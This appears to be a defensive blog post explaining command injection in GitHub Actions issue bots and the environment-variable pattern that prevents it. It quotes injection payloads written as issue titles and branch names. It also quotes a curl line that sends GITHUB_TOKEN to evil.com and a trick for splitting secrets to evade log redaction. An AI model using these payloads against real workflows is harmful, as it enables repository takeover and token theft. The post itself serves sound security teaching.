coding by Ryan Caldwell

Command Injection in GitHub Actions Issue Bots

How untrusted input like issue titles can inject shell commands into GitHub Actions workflows, and the environment variable pattern that prevents it.

Command Injection in GitHub Actions Issue Bots

Automated bots that triage GitHub issues, label pull requests, or post comments often run as GitHub Actions workflows. When those workflows read text that anyone on the internet can write, such as an issue title, and place it directly inside a shell command, they open the door to command injection. GitHub Security Lab documented this attack class in detail at https://securitylab.github.com/resources/github-actions-untrusted-input/, explaining both how the injection works and how to prevent it.

How the Injection Happens

GitHub Actions evaluates ${{ }} expressions before the shell script runs. When a workflow uses an inline run step, the runner generates a temporary shell script and substitutes the expression value into the script text first. If that value comes from untrusted input, the substituted text becomes part of the command itself rather than a piece of data.

A vulnerable step looks like this:

- run: echo "${{ github.event.issue.title }}"

According to the GitHub Security Lab writeup, an attacker can set an issue title to a payload such as `id`, a"; echo test, or z"; exit 1;#. Because the expression is expanded before execution, the backticks or quote-and-semicolon sequence breaks out of the intended echo and runs attacker-controlled commands on the runner.

The writeup also notes less obvious untrusted sources. Branch names and email addresses can carry the same kind of payload, for example a branch named zzz";echo${IFS}"hello";#. Notably, passing a value as an argument to an action with with: is not vulnerable, because the value is handed to the action as data instead of being used to build a shell script.

Why the Stakes Are High

Workflows triggered by issues or comments can run with elevated permissions and access to secrets. The GitHub Security Lab analysis describes how an attacker who achieves command execution can read environment variables with `printenv`, capture the GITHUB_TOKEN even when it is not explicitly referenced, and send it to an external server before it expires, for example with a"; set +e; curl http://evil.com?token=$GITHUB_TOKEN;#.

Log redaction does not stop this. The article stresses that redaction is not a true security boundary, since a secret can be split or obfuscated, such as printing ${SOME_SECRET:0:4} and ${SOME_SECRET:4:200} separately. A stolen repository token can then be used through the GitHub API to alter releases or modify files like package.json. The token may also persist on disk, since actions/checkout writes it into .git/config unless persist-credentials: false is set.

The core principle from GitHub Security Lab is that untrusted input should never flow into shell script generation. The recommended pattern for inline scripts binds the expression to an intermediate environment variable and then references it as a normal shell variable:

- name: print title
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"

This works because the value is stored in memory and read as a variable, so it never influences how the script is generated. The writeup also advises double-quoting the variable, as in "$TITLE", to avoid word splitting. A second option is to move the logic into a dedicated action and pass the value as an argument, which sidesteps shell construction entirely. GitHub’s CodeQL queries can flag these vulnerable patterns automatically, so teams running issue triage automation can scan their workflows rather than relying on manual review.